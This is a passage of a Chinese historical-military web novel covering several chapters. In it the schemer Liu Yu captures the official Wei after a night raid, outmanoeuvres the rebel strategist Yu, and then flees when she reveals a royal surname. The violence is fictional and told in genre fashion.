居然给出了这样一个，有可能葬送整个天军队伍的计划。 玉军师神情凝重，却没有去争辩什么。 马上就要开春了，天军想要不被朝廷秋后算账，就必须有武汉冲跟柳羽的帮助。 而且这也怪不得武汉冲。 柳羽不希望武汉冲跟天军走太近，武汉冲就必须保持好距离。 否则武汉冲没好日子过，天军同样不会有好日子过。 毕竟现在柳羽才是老大。 沉默半晌，玉军师也算是明白了。 跟武汉冲聊什么都是空聊，唯有柳羽点头开口，这事才能办的成。 想到这，玉军师当即起身大声道： “我认为不然。” “能撤向周口的路，我们已经提前派人去松阳栈道封上了，卫大人一千兵马虽然带了粮草，却根本就吃不了几天。” “也就是说，就算卫大人没中毒计，他粮草一枯竭，也就只有攻打临县，或是从山野绕路回周口，但攻城可不是这么好攻的，尤其是在没有粮草的情况下，卫大人手上粮草一用完，他就只有绕路撤回周口一条路可以选。” “既然如此，我们完全可以在山野中进行阻截，根本用不着打正面！” 顿了顿，玉军师目光看向柳羽： “柳哥你是知道的，山野作战，从来都是我天军的强项。” “我觉得我这个法子，明显要比武汉冲的更好！” 玉军师矛头直指柳羽，柳羽却还是一副，我就是来凑数的模样。 目光看着玉军师，柳羽两手一摊： “别问我啊，我说了，打卫大人一事全权归武军师管，我就是个来凑热闹的。” 听到这话，玉军师感觉自己脑袋有点发昏。 都这种关键时候了，你柳羽还在玩什么权利制衡之术，不觉得有点迂腐吗？ 合着你柳羽以前大话说得那么好，什么为生民立命，为万世开太平。 结果眼里就只有自己的权利地位，箭已经在弦上了，却在这个搞内斗。 这样做，跟朝廷里那些贪官庸臣有什么两样？ 玉军师拳头紧攥，整个人几乎处在爆发的边缘。 一旁一直都不怎么开口说话的萧寒衣见状，赶忙上前伸手拉住玉军师，生怕她说出什么影响和气的话。 萧寒衣目光朝柳羽看去，短暂停顿后，主动朝着柳羽拱手抱拳： “柳哥，临县的兵是你的兵，现在天军都听你的，日后还要精诚合作，道理上来讲，天军也是你的兵啊。” “对付卫大人，卑职们能力实在是有限，您既然在这，多少提点一下卑职们呗。” 直到萧寒衣这位在玉军师乃至天军中，举足轻重的老将开口。 柳羽这才一改先前慵懒的模样，淡淡道： “卫大人一千兵马强的是那五百骑兵，人是长腿的，马就没有长腿吗？” 此话一出，玉军师整个愣住了。 萧寒衣却是咧嘴笑出了声：“柳哥，高啊。” “此前柳哥说了，就给我们三天时间收拾卫大人，玉军师您想山野打伏击这个想法明显是持久战，短时间内结束不了。” “想要在三日内完成这个任务，唯一的办法就是将卫大人的战马跟骑兵分隔开来，没了马，骑兵不过就是大头兵，论人数，我们两千多还怕他一千人？” “哈哈哈哈，原来柳哥早就想好了对策。” 玉军师眼中难掩惊愕。 在柳羽说马也是长了腿的时候，她就瞬间反应过来了。 人数上，本就是临县天军这边占优。 卫大人强，强的不过就是五百铁骑而已。 人马一分离，多打少，还怕打不赢？ 难怪柳羽一路上都是一副慵懒的模样，原来是早就已经胸有成竹了。 没有任何犹豫，玉军师立即扭头朝着前方天军下令： “通知萧天元，立刻带我天军二百精锐，前去探查情报。” “如若卫大人手下兵马未中毒，放火，烧他马窖！” 玉军师身边一名士兵得令后，立刻朝着队伍最前方跑去。 而在下达完军令后，玉军师则是主动放下了身段，学着萧天元先前的模样，拱手朝柳羽抱拳： “不知柳哥，可愿亲临阵前观战。” 柳羽笑盈盈摆手，淡淡道： “你们打你们的，松阳客栈前方三百多米远有处山丘，我去那里，站得高，看得远。” 此话一出，武汉冲立即起身朝着柳羽抱拳： “卑职派几名士兵跟随柳哥，伺候着。” 柳羽却是抬手： “不用，我一人前去就是。” “如果你们能不让我失望的话，或许今晚，我就能看见卫大人跪我面前。” 柳羽笑着，独自一人下了官道，绕路前往目的地。 等柳羽攀登上松阳客栈前方的山丘时，武汉冲玉军师她们，也已经在松阳客栈前方千米多远的树林当中，猫了起来。 唯有天军统领萧天军，带着二百天军精锐，悄咪咪地摸进了松阳客栈。 柳羽目光朝官道上看去，发现卫大人这个外来和尚，居然还挺老实。 白天官道上拦路的那些石头树木，卫大人是一点没清理。 而且也不知道卫大人是底气十足，还是什么情况，他自己住进了松阳客栈，而他手下士兵就围着松阳客栈扎营，战马随意拴在营地周边。 这都晚上了，营地外围巡逻的人员，居然只有一队十来人。 这十来个人，在营地外围巡逻一圈要差不多五六分钟。 一个地方巡视过后，最少都要三分钟左右，才会有人来第二次巡视。 至于暗哨什么的，柳羽是一点都没找见。 仅仅只是看了一小会儿，柳羽就把卫大人的营地情况摸了个七七八八。 望着山下寂静的情况，柳羽不禁皱起了眉头： “这个卫大人，是真觉得临县，跟往常一样太平吗？” 而此刻，松阳客栈当中。 卫大人跟他身边的军师，坐在一张木桌前愁眉不展。 第一百八十九章 夜袭 卫大人身前木桌上，摆放着一张飞鸽传书过来的小纸条。 上面写着一行小字：朝廷六部，开春莅临苍县。 纸条上十个字，卫大人反反复复看了数遍，又是叹息又是挠头发： “文才，你说朝廷这是疯了吗？没事派六部官员去沧县干什么，临县这都乱成一锅粥了都！” “我真是服了，汪天淼跟我打包票说临县沧县，天高皇帝远，朝廷不会把注意力放这两县上，天下一乱我可乘大势。” “现在好了，我特么私自带兵过来了，他汪天淼不见人影就算了，朝廷还要一等开春就派六部官员去沧县。” “哎，真的是，里外不是人，惹得一身骚。” 天下大乱在既，朝廷对各地区的管辖力度大大下降，导致各地大户官宦，都有了自己的小心思。 但这并不说，朝廷就无兵无人可用了。 瘦死的骆驼比马大，朝廷现在没亡呢，能用的兵马跟人还是很多的。 只是由于各地方都有叛乱，朝廷要优先把人手派到重要的地方去而已。 正是这样，卫大人跟汪天淼才敢私自调兵来临县。 赌的就是朝廷没工夫管这种小地方，自己可以趁机占据一县之地发展壮大，等天下局势朝廷彻底控制不住后，好以临县为基本盘发家起业。 结果倒好，卫大人这才刚靠近临县附近不到一天功夫，连临县城墙都没见到呢。 朝廷要在开春后，派六部官员过临县到大后方沧县去的消息，就传了过来。 这下子，卫汪两人私自调兵的事，被发现几乎已经成为必然。 周口甚至是洛北城都护府，那都是绝对回不去了，回去就得被杀头。 本来如果两人动手快，先把临县占下来了，其实也不怎么怕朝廷发现。 完全可以跟柳羽的想法一样，手握一县，明面上顺从朝廷，朝廷也不可能花大代价派兵来打，只会捏着鼻子承认其合法地位。 现在倒好，卫汪两人是临县没拿下，又回不了都护府当自己的大人去了。 搞不好，堂堂朝廷大员，得跑到山里跟山贼抢饭碗去。 卫大人身边，被他称之为文才的宇文拓也是眉头微皱，脸色难看： “六部官员莅临沧县，唯一的可能性，只能是为了苍县那位庞县令去的。” “这就奇了怪了，庞县令清正廉洁，不愿跟地方上大员和朝廷的一些大人和光同尘，是引得了不少人的不满。” “但再不满，也不至于为了个县令搞这么大的动作啊，攻城锤打蚊子，不值当啊。” 卫大人处境艰险，显然是没心思去研究，为什么朝廷要为一个县令搞这么大动作。 沉闷片刻后，卫大人咬牙狠厉道： “私自调兵这事儿我已经做了，只能一条道走到黑。” “现在唯一的活路，就是拿下临县！” 顿了顿，卫大人阴冷道： “那个叫什么柳羽的，不说他明天会跟汪天淼一块来迎接吗？” “哼，无论他有没有说谎，也不管他是哪方的人，这小子在临县当中一定是有一定地位的。” “等明天他们一来，只要来的不是汪天淼，我直接给他抓起来严刑拷打，先弄清楚临县情况再说！” 宇文拓打了个哈欠，睡眼惺忪道： “还是不要轻易得罪人的好，您明面上还是朝廷来的大人，临县的人只要不是真敢叛国，咱们想进城应该不会有太大阻挠。” “既然是以临县为目标，我建议无论现在谁占据了临县，咱们遇到了都直接许诺好处，眼下什么都不重要，只有咱这一千兵马进了城，最为重要。” 两人聊着，不仅宇文拓呵欠连天，卫大人更是困得，连眼睛都有些睁不开了。 打了个哈欠，卫大人当即朝着宇文拓摆手： “行了，有什么事明天再说吧，朝廷六部官员少说还得有半月左右才来，咱有的是时间了解临县及其周边情况，将这座县城彻底拿下。” “你先回吧，我要休息了。” 宇文拓打着哈欠起身，连离开的作揖的礼仪都忘记了，直接出了松阳客栈的门，四下寻找自己住的营帐。 不知何处一股凉风吹来，吹散了宇文拓浑身上下不少困意。 他抬眼朝着四周看去，却发现不知怎么的，今晚无比的寂静，寂静到甚至有些诡异。 要知道，当兵的晚上睡觉，很多都是回大呼的。 马匹夜晚，偶尔也会发出嘶鸣声，再加上巡逻士兵身上兵刃跟盔甲的撞击声。 军营的晚上，是基本不可能特别安静的。 但不知道怎么了，今天晚上一切声音居然都听不到。 宇文拓目光在营地里巡视一圈，别说声音，就是连巡逻士兵的人影都找不见一个。 打着哈欠，宇文拓一脸疑惑地摇头： “啥情况这，人呢？” “来人，来人！” 宇文拓大叫了几声，试图将负责巡逻的士兵叫出来。 但连着叫了两三声，宇文拓都没有得到任何回应。 周围诡异的寂静，让宇文拓内心愈发的不安，甚至隐隐感到害怕。 在这种情绪下，宇文拓甚至就连困意都没有了，转身就想赶回松阳客栈里面，跟卫大人汇报一下情况。 但也就在宇文拓转身的时候，一把弯刀，架在了他的脖颈上。 萧天元自黑暗中咧嘴一笑： “别乱动，刀子可不长眼。” 说着，萧天元一个眼神过去。 宇文拓身边又冒出来两人，一个负责用破抹布把他嘴巴捂住，一个负责拿绳子，将他五花大绑。 山顶上，柳羽饶有兴致看着下面，无数天军士兵如潮水般涌入卫大人营地，将一座座营帐中的士兵绑出来。 “啧，想了那么多收拾你的办法，结果你真中毒了？” 柳羽多少有点无语，完全没有想到，卫大人居然这么不堪。 但想想也就释然了。 如果是自己带兵来临县，还没到临县，只是在临县周边驻扎一碗过夜而已，自己也不会想到，居然会有人提前往自己驻地附近的水源下毒。 不过该有的防备总是还要有的。 汪大人这明显就是一点防备都没有。 柳羽不禁疑惑。 难不成汪大人带来的这一千人，全都是纯粹的士兵？ 第一百九十章 局势混乱 不过也用不着柳羽疑惑。 不到半个钟头，玉军师那边增援的叛军，就在萧天元之后，摸进了卫大人营地。 期间，也有不少卫大人手下士兵，因为中的药比较少，听到动静后醒了过来，发起了反抗。 但还真别说，玉军师带兵练兵明显是有一手的。 她手下天军士兵，装备虽然差，战斗素养却一点不比朝廷正规军弱。 那些反抗的士兵，连武器都没来得及拔出来，刚有动静，立马就被玉军师手下给按下去了。 整整一千人，绑人准备的绳子都不够用。 玉军师只能一边抓人，一边命人把抓到的人，往外面武汉冲那里送。 期间凡是有剧烈反抗的，全部直接一刀砍头，震慑宵小。 等松阳客栈里屋的卫大人反应过来的时候，他手下已经被全部控制住。 无数天军士兵围在松阳客栈外面，卫大人搁松阳客栈二楼探出个脑袋来，一脸的惊恐： “你们是什么人？” “知道我是谁吗，我是都护府千户！” “你们夜袭我，这是在叛国，叛国！” 玉军师说白了，不过就是个干活的抢手。 根本就懒得跟卫大人哔哔什么。 大手一挥，天军破门而入。 不到一会儿功夫，就将卫大人五花大绑抬了出来。 柳羽站在高处，不仅关注着卫大人的动向，更密切注意着，玉军师有没有搞小动作。 但显然柳羽是多虑了。 绑了卫大人后，玉军师没有一丝丝犹豫，直接朝着萧天元下令： “把人给柳羽送过去。” “是！” 柳羽在山顶上欣慰一笑。 原地等了半炷香左右时间。 玉军师、武汉冲、李晟、萧天元、萧寒衣，一群首领带着两个抬卫大人的士兵，面无表情来到了柳羽身前。 本来成功活捉卫大人，还没付任何代价。 这么大的功，哪怕玉军师不笑，武汉冲也该开怀大笑的。 但没有一个人敢。 哪怕等士兵把卫大人扔到柳羽面前后，武汉冲也不敢表露出一丝一毫的欢喜。 而是以一副恪尽职守的模样，朝着柳羽抱拳： “柳哥，卑职按照您的命令，将您要的卫大人绑来了。” 柳羽笑盈盈的点头，目光朝卫大人看去： “大人你，还记得我吗？” “柳羽！化成灰我都记得！”卫大人满腔怒火：“你不是说，你是汪天淼手下吗？” “你不是说，武汉冲叛乱吗？” “这又是怎么回事，他武汉冲听你的？你到底是什么人！” 在场没有外人，柳羽笑盈盈开口： “我大头兵一个，啥人也不是。” “但如果你硬要说的话，你可以把我当成叛军头头，或者是…未来临县的实际掌权人。” 卫大人眼睛瞪大。 临县民变，天下皆知。 虽然朝廷很少注意临县这边，但洛北城都护府内有关叛军的讨论跟研究，可是一点都不少的。 有不少人都猜测，叛军首领要么是朝廷里某位大员重臣，要么是地方上一些权贵。 因为流民聚在一块，再怎么样也只是匪而已。 想被定义为叛军，就要表现出军队该有的素养。 攻伐有序，聚而不乱。 然而想让一群人做到这一点，普通人是不可能有这个能力跟领导力的。 所以叛军首领，只有可能是朝廷内部的人，或者是从朝廷军队中出来的某位老将。 但柳羽…模样不过二十出头。 卫大人完全没有办法，将柳羽的模样，跟他想象中的叛军首领重叠起来。 而柳羽此刻，主动把叛军首领的名头揽在自己身上，也是有自己考量的。 当今这个时代，有身份才有话语权，别人才会听你的。 柳羽此刻藏拙，只会让卫大人轻视他，搞不清楚状况，不听话。 所以在开口后，柳羽见到卫大人情绪逐渐稳定下来了。 当即就道： “你们这些外来的，想占临县，我可以理解，但临县是我的，沧县也是我的。” “天下大乱在即，咱打开天窗说亮话，也别扯什么朝廷不朝廷的了，心里都明白。” “你落到我手中，我不杀你，你应该能明白我想要干什么。” 卫大人沉默许久冷笑出声： “我懂，汪天淼应该是已经在你手上了，现在我也跪你面前了，你接下来要做的，就是召回逃难的临县民众，恢复临县生产。” “然后派人送折子给都护府跟朝廷，说临县叛乱停了，请求封赏．” “因为我也是这样计划的。” 柳羽点头。 都是一路人，无论柳羽玉军师，还是汪天淼卫大人。 占据临县后要做的事，都会走这样一个流程。 卫大人此刻说的，一点差错都没有。 但正当柳羽要开口说话时，卫大人却是继续道： “但你有没有想过，盯着临县沧县的，不止我跟汪天淼呢？” “洛北城无论是都护府还是城主府，都有不少人盯着这两县呢。” “你觉得你守得住吗？” 柳羽摇头：“守不住，所以我才不杀你。” “我会派人去洛北城一趟，找到你的家人亲戚把他们接过来，由我亲自照顾。” “至于你，我希望你能返回洛北城，咱们合作。” “你帮我打探洛北城跟朝廷动向，我确保你全家无忧。” 卫大人拳头紧攥。 他干私自调兵来临县，家人自然是已经事先安排妥当了。 但柳羽一个叛军首领，有没有能力把他家人找出来，他不敢赌。 因为赌了，可能就是几十条人命没了。 犹豫再三，卫大人苦笑出声： “既为阶下囚，你说什么就是什么。” “但我可提醒你，我能落到你手上，不是因为我无能，而是入夜前我收到飞鸽传书，朝廷六部官员开春后会去沧县，目的应该是顺手处理临县叛乱，然后收拾沧县庞县令。” “这六部官员你要是伺候不好，合作不合作的，你会被诛九族，我也会被诛九族。” “咱俩都九族不保。” 听到这话，柳羽眼睛瞬间就眯了起来。 这才明白过来，为什么收拾卫大人这事干起来这么轻松。 原来这家伙，早就已经被朝廷官员要莅临沧县一事给吓住了，所以失去了警惕心。 第一百九十一章 谁是瓮中鳖 换位思考。 如果柳羽是卫大人，手上没临县当砝码，私自调兵搞事搞一半，得知朝廷高官要过来。 柳羽也会怕得不行。 不过好在，临县在柳羽手上，局势就在柳羽手上。 朝廷六部官员过来，柳羽随便让刘宪华武汉冲招待一下，私下里找机会给足银子，就不会出什么大问题。 问题就在于，此前柳羽就知道，朝廷里有人视庞县令为眼中钉，要搞他。 没想到这事来得这么快，要搞庞县令的人是一分钟都不想多等，一开春就要立马搞死庞县令。 深吸一口气，回想起庞县令的性格。 柳羽也不知道，自己有没有机会能给他保下来。 一旁，武汉冲眼见情况已经了解得差不多了，当即朝着柳羽抱拳： “柳哥，该回临县了。” “现在离开春不到半个月时间，咱们要做的事，多得有点数不过来。” 柳羽却是微笑着摆手，目光朝玉军师看去： “临县的事跟我柳羽可没有关系，召回流民恢复生产向朝廷纳税这些，都是玉军师该干的活。” “此前我答应过玉军师，事成后临县归她，君子一言驷马难追。” 此话一出，武汉冲嘴角顿时就流露了笑意。 柳羽能这么守信，事情一成，就主动提起之前许诺的报酬，玉军师是多少有点没有想到。 但见柳羽真要把临县给自己，玉军师却是一点都开心不起来。 守信归守信，临县已经破烂成什么样了，大家心里都清楚。 重建跟恢复生产这些事，说起来轻松。 做起来，却是又废人力又废钱，没点家底根本遭不住。 这也是为什么玉军师此前想要沧县，而不愿意要临县的原因。 但眼下这个情况，有总比没有好。 玉军师无奈地朝着柳羽抱拳： “行，我在这代天军弟兄，谢过柳哥了。” “只是柳哥，刘宪华武汉冲或者是王诸国，这三个朝廷认可的总旗，你总得给我留一个吧？” “不然朝廷派人过来，我随便指一个人说他是临县总旗，朝廷也不认啊。” 一旁，武汉冲听到这话立即开口： “这事柳哥可没答应过你吧？” “我们三个总旗，都是坚定不移跟着柳哥的，柳哥去哪儿我们去哪儿。” “你硬拉一个人跟着你，不合适吧？” 玉军师眼睛瞪大，不敢置信地望着武汉冲： “你们玩我呢？” 武汉冲笑盈盈走到柳羽身边站立。 干咳两声，多少有点不好意思，红着老脸用手肘拱了拱柳羽： “演这么大出戏，我已经出这么多力了，该我唱唱白脸了，总不能啥坏事都让我干吧？” 柳羽抓耳挠腮，望着玉军师瞪大的双眼，实在是不好意思开口。 犹豫再三，柳羽用手肘朝着武汉冲拱了回去： “都唱这么久了，不差这一会儿，你说。” “我不说，我一个军师凭什么给你个当老大的背黑锅，黑锅从来都是老大背的。” 武汉冲还是不乐意开口。 但就算两人什么都不说，玉军师也彻底反应过来了。 不可思议地望着两人，玉军师几乎是被直接气笑： “不用说，我不是傻子。” “呵呵，合着你们两又是内斗，又是叛变什么的，都是在给我下套？” “心机真深啊，一个白脸一个黑脸，我还真以为我天军是在你们两中间两头讨好，两头得利。” 一边，萧寒衣依然是大梦初醒，嘴巴微张地望向两人： “好演技啊。” “我早该想到，你柳羽一向是厚脸皮的。” 萧寒衣身边，萧天元是直接刺啦一下，将腰间长刀拔了出来，冷眼看向玉军师： “军师不要忘了，我大军就在山脚，这二人乃是瓮中之鳖！” “只要军师一声令下…” 萧天元话还没说完，就被玉军师抬手制止了。 没好气道：“你能想到，他俩就想不到吗。” 冷哼一声，玉军师朝着柳羽冷声道： “所以你们两个的目标，不仅仅是汪卫两位大人，还有我？” 柳羽跟武汉冲四目相对。 没有任何犹豫，两人同时朝着不远处的李晟开口： “你说！” 李晟一改之前面对柳羽时的胆战心惊。 叹息一声，李晟一脸歉意地朝着玉军师抱拳： “军师猜得不错，柳哥跟武总督之间，从来就没有什么矛盾，我也正如柳哥此前说的，从来就没有背叛过。” “之前柳哥在王家村跟汪大人部队交战，我也不是受武总督军令，让你叛军拦不住卫大人就不用拦，任凭他支援汪大人的，这条命令是柳哥下的，目的是为了让你彻底相信，柳哥跟武总督之间是互相猜忌的情况，谁都有可能背后捅刀子。” “之所以这样做，一来，是想从天军手上骗点粮草，毕竟临县剩余的粮草确实是不多了，就两千石左右。” “二来，玉军师您意识到柳哥跟武总督之间的关系并不和谐，注意力一定会放在两天下注两头吃这个点上，以至于柳哥许诺给你临县时挖的坑，你第一时间不会察觉得到。” 顿了顿，李晟弯腰低头，完全不敢去看玉军师杀人般的眼神。 小心翼翼继续道： “想要彻底掌控临县，军师您手上就必须有一位受朝廷承认的官员，否则天军哪怕彻底控制临县，还主动向朝廷缴税，在朝廷看来也依旧是叛军。” “名不正，则身不正。” “另外，军师您且往山下看。” 玉军师萧寒衣等人扭头朝山下看去。 只见受柳羽命令，前去豹子山运粮的王五周阳等人，已经是带着浩浩荡荡一群人，从黑夜中的山林里走了出来。 玉军师几人身处山上，上来时没对天军下过什么警惕武汉冲手下的命令，毕竟武汉冲手下就区区百十来人。 天军队伍，到现在都还以为他们跟临县队伍是合作方，是自己人。 王五这个本身就在天军中，担任统领职位的人带着浩浩荡荡的人马一过来，大手一挥说了几句什么，天军队伍就纷纷放下了手上的武器，围了上去。 而下山的小道上，袁羌一人一枪走出来，拦在路中间。 李晟的头跟腰，则是弯得更低了： “还望军师听话，以大局为重。” “因为瓮中之鳖，其实是你们。” 第一百九十二章 互换质子 望着山下柳羽的人手。 盛怒之下，玉军师被气得笑出了声： “呵呵，好好好，不愧是你柳羽。” “过河拆桥鸟尽弓藏这种事情你做出来，我真的是一点都不觉得意外。” “说吧，你到底想干什么？想要我命？” 柳羽多少有点不好意思。 自己都有点接受不了，自己干的这无耻事。 听到玉军师这样说，柳羽是赶忙摆手： “不不不，玉军师您这是啥话啊，我哪儿舍得对你下手啊。” “我虽然卑鄙，但还是很怜香惜玉的。” 说着，柳羽赶忙将眼睛瞪向武汉冲。 “这事是你策划的，别想撇清干系。” 武汉冲叹息一声，无奈地站出来朝玉军师抱拳： “还望玉军师见谅，乱世之中求存，我等每走一步都必须小心谨慎，实在是做不到将自己命运的主导权，交到他人手上。” “临县我们可以给，此前答应玉军师的也都作数，甚至玉军师可以在我跟刘宪华之间，选一个人留在你身边。” “我们只有一个要求，交换质子。” 玉军师冷笑。 质子交换，是常用的外交手段。 国与国之间，大家族与大家族之间。 绑定关系的方法，除了联姻外，便是交换质子了。 不过质子可不是什么人都能当的。 往往是皇室皇子，大家族中的长子，这种有着举足轻重地位的接班人，才能够成为质子。 柳羽这边，给一个总旗给玉军师，那玉军师那边，就至少得给一个统领给柳羽。 不过如果是这样的话，柳羽根本用不上费尽心机，搞这么大一出戏出来。 因为如果柳羽想要的，只是玉军师手下一个统领，完全可以直接开口做置换，互换质子谁都不吃亏，玉军师不可能不答应。 而既然柳羽搞了这么一出，那柳羽要的人，就绝对不可能是区区一个天军统领。 而应该是玉军师萧寒衣这种，天军离了就转不了，在天军中举足轻重的人物。 柳羽要的，明显就是彻底控制天军。 武汉冲一开口，玉军师就明白了过来。 奈何自己大势已去，再不情愿，也得捏着鼻子忍着。 玉军师冷笑着看向柳羽： “交换质子？” “那你柳羽，想让我天军中的谁跟着你回你老家沧县呢？” 柳羽尽可能维持表面平和，卑微地朝玉军师抱拳： “柳羽初来临县起势时，是靠抓住萧寒衣萧老前辈，积累了名望，才一步步走到如今的，萧老前辈之于我，算得上是有知遇之恩。” “柳羽对萧老前辈，亦是充满感激与尊重啊。” “所以，如果军师愿意忍痛割爱的话，不如…让萧老前辈跟我？” 玉军师秀拳紧攥，气得牙关咬碎。 柳羽这番冠冕堂皇的话，不知道的，恐怕还真以为他多尊重萧寒衣呢。 萧寒衣，谁不知道他是天军中玉军师之下，唯一的主心骨？ 且不说萧寒衣的地位身份，或是他自身的能力。 萧寒衣儿子萧天元，乃是天军内唯一一员大将。 近乎一大半的天军精锐，玉军师都是交给萧天元掌管的。 柳羽现在要萧天元他爹。 要是真给了，以后柳羽对天军下令，谁敢不从？ 哪怕是玉军师本人，都会因为怕柳羽杀萧寒衣，不得不捏着鼻子，任由柳羽摆布。 “呵，柳羽啊，你还真是处心积虑呢。” “嘴上一口一个萧老前辈，你惦记他，有一阵子了吧？” 柳羽苦笑着点头：“这就说来话长了。” “从很早前，我知道萧老前辈在天军中的地位后，就一直惦念着萧老前辈了。” 说着，柳羽直接越过玉军师，目光看向萧寒衣： “萧老前辈，我知道您一向是深明大义的。” “您也不想今天玉军师走不下这座山，天军弟兄们全葬身于此吧？” “我柳羽保证，只要您愿意跟我走，荣华富贵美女佳人，你要什么，我给什么！” “柳羽！”玉军师厉声怒吼：“你到底还是不是人，没你这样办事的！” 玉军师此话一出，拦在山道上的袁羌，脸色神情骤然一冷，当即就持枪上前了几步。 “没你事，一边去！” 柳羽连忙大声呵斥住袁羌，一脸歉意朝玉军师道： “哈哈，玉军师见谅，手下有点不懂事，回头我好好教育。” “其实我也觉得玉军师说得是，我柳羽确实是挺畜生的，军师骂得好，骂得妙。” “这样吧，我给你们一炷香的时间考虑，你们随便商量，商量好给我个结果就行。” “毕竟一起并肩战斗过嘛，我也不想自己手上沾满友军的血。” 嘴上话虽是这样说。 可柳羽一扭头，就朝着李晟乐呵道： “不是说了，叫王五他们取完粮回来，原地就给天军兄弟们做饭吗，怎么这么不懂事，天军弟兄忙到现在容易吗？” 李晟赶忙抱拳： “柳哥见谅，铁锅比太重，运过来要稍微晚一些，等铁锅一到，卑职…” “哦，锅没运过来啊。”柳羽摆手道：“那不运了，到时候让天军弟兄们回临县吃。” “哈哈哈，先挖坑，毕竟咱粮食也不多。” “听话的回临县吃饭，不听话的埋了，不能白养活浪费粮食啊。” 李晟点头：“是，卑职这就去办。” 望着李晟离去的背影，柳羽眼见玉军师跟萧天元萧寒衣三人还愣在原地，赶忙罢手道： “没事哈，我说了给你们一炷香时间考虑，你们可以慢慢聊，畅所欲言嘛。” “我不打扰，我搁一边站着去，老老实实等你们。” 柳羽还真就说到做到，一把搂住武汉冲肩膀，哥俩好似的走到了山头另一边背对着玉军师。 仿佛真是不怕玉军师等人商量什么对策，或是趁机逃跑似的。 实际上，袁羌拦在小道上不动分毫。 远一点的地方，更有七杀堂二十多人手持弓弩瞄准这边。 可以说，玉军师几人哪怕是有一丁点不对劲，都会立马被射成马蜂窝。 望着这一幕，萧寒衣长叹一口气朝着玉军师抱拳： “小姐，都怪老奴。” “老奴早该想到，柳羽会过河拆桥的。” “哎，既然已经到了这一步，老奴的错老奴自己…” 不等萧寒衣把话说完，玉军师抬手道： “不，你不用去给柳羽当什么质子。” “他柳羽不是想要质子吗，我去！” 第一百九十三章 其实我姓楚 萧寒衣瞪直了眼睛： “这，这怎么行！” “怎么不行？”玉军师冷笑出声：“我们为什么来临县你忘记了？” “弄个天军出来，玉军师这层身份，也只不过是为了保护我而已。” “他柳羽想要，给她又如何。” “哼，我给他当质子，就看他有没有胆子要了！” 说罢，玉军师不等萧寒衣说什么，直接朝着柳羽的方向大声开口： “柳掌门，萧老前辈年纪大了，不方便跟着你舟车劳顿。” “不如这样，我玉梓桐给你当质子如何？” 柳羽眼睛大亮。 收了萧寒衣，等于是把天军牢牢掌控住了。 而收了玉军师，几乎就等同于是，天军成了自己的军队。 这种好事，哪儿有拒绝的道理。 柳羽当即回头道： “如此甚好。” “我就知道玉军师是个聪明人。” “玉梓桐，好名字，好名字啊！” 玉军师却是冷笑： “玉是我娘的姓，以前我其实是姓楚，楚梓桐。” “怎样，现在我想跟着柳掌门你，你还敢收吗？” 柳羽脸上的笑容整个凝固住。 就连一旁武汉冲的脸色，也变得极其难看。 小心朝着柳羽道： “楚，可是皇家姓氏。” 柳羽没好气地给了他个白眼。 用得着你提醒？我难道不知道楚是皇家姓氏吗？ 靖北王世子郡主，还特么搁我老家躲着呢。 一个楚敬修，一个楚灵汐。 现在又冒出一个楚梓桐。 皇室的人这都怎么了，搁京城里九子夺嫡玩狼人杀吗，为了活命，都开始往临县沧县这种鸟不拉屎的地方聚了？ 别说，玉军师这真名一报出来，柳羽还真有点不敢收了。 楚敬修跟他妹妹的事，就已经不是柳羽能处理得了的。 玉军师这看起来，真实身份明显比这两人还要恼火，搞不好得是个皇室宗亲，公主啥的。 稍微沾上一点关系，怕都得惹一身的骚。 “怎么，怕了？” 玉军师望着柳羽，满脸冷笑： “怎么，你柳羽要质子，我亲自给你当质子。” “现在一知道我真名，就没胆子收了？” 柳羽脸色难看。 皇室身份摆在这，谁特么敢轻易收啊。 犹豫半晌，柳羽目光看向武汉冲。 但还不等柳羽开口，武汉冲就立马把头转到了一边去： “别看我啊，我一个当小弟的，哪儿敢做这种决策啊，出事了那是要连带所有兄弟都被满门抄斩的。” 柳羽一脸无语：“老油条，就没想过能指望上你。” 犹豫了一下，柳羽还是决定先稍稍了解一下，事情的严重性。 目光看向玉军师： “咳，多的我不想知道，你也千万不要开口说，知道多了我容易死得快。” “我就是想稍微了解一下，你牵扯的事，比子靖北王世子郡主失踪一事，大还是小？” 玉军师冷笑出声： “你手握楚廿一的幽泉剑，我就知道你柳羽跟靖北王府一定有牵扯。” “怎么说呢…我牵扯的事说大也不大，说小嘛，也不小。” “你就告诉我，跟靖北王府的事比起来怎么样！”柳羽无语道。 “大那么一丢丢吧。”玉军师朝柳羽比出一个一丢丢的手势：“毕竟我是公…” “停！” 不等玉军师说出口，柳羽立马制止。 一脸晦气地将目光看向武汉冲： “崩撤卖溜，把那个王总旗给他们天军，临先也给他们。” “让弟兄们带上东西，咱连夜往沧县撤。” 柳羽说着，拔腿就往山下跑。 武汉冲袁羌等人赶忙跟上。 下山后，柳羽不作一丝一毫的停留，就连俘虏的卫大人，乃至卫大人手下一群干士兵，全都丢原地留给了玉军师。 柳羽只是收了三百匹战马，带着自己的队伍就往临县撤。 撤回去以后，柳羽更是让所有人，连夜收拾东西往沧县跑路。 一直到拖家带口，走在回沧县的路上之时，柳羽才在马背上，火把的照射下抹了把脸上的冷汗： “哎呦我去，运气是真特娘的差。” “她一个姓楚的，没事改姓跟她娘姓干什么我，我要一早知道她姓楚，老早就把临县让给她了。” 武汉冲脸色也一点都不好看。 本来他这一石三鸟之计过后，临县沧县将会尽入手中，天军也将彻底被柳羽掌控。 到那时，搞好跟朝廷的关系后，柳羽是进可攻退可守，只需要猥琐发育等天下乱起来就行。 现在倒好，玉军师不姓玉，姓特娘的楚。 就凭这一个姓，马上就要煮熟的鸭子，直接飞了。 “哎，之前只知道玉军师身份不简单，鬼知道这么不简单啊。” 武汉冲一脸懊恼：“你说咱这图啥啊，从汪大人进临县开始演戏演到现在，就为了等这一天。” “我真的是，李晟，把汪天淼给我带上来！” 柳羽跟武汉冲两个人都在气头上，李晟一点不敢怠慢，连忙骑马去队伍后面拿人。 等到李晟命人把汪天淼带上来后，武汉冲瞟了他一眼，一脸烦躁地摆手道： “剁了，剁碎丢山里喂狼。” “特娘的，今天这事，全赖这王八蛋！” 一旁，柳羽知道武汉冲这是要拿汪天淼泄愤。 不过现在临县已经让给玉军师了，就连卫大人手下兵马都让了出去，日后柳羽能做的只有龟缩沧县。 这样一来，汪天淼这个俘虏，就彻底失去了一切价值。 因此，柳羽一点想阻拦的心思都没有，甚至十分烦躁的补了一句： “剁之前先千刀万剐，别让他死那么痛快。” “王八蛋，浪费老子青春。” 汪天淼脸色惨白。 落到柳羽手里后，他知道自己离死期不远了。 可怎么也没想到，来得居然这么快。 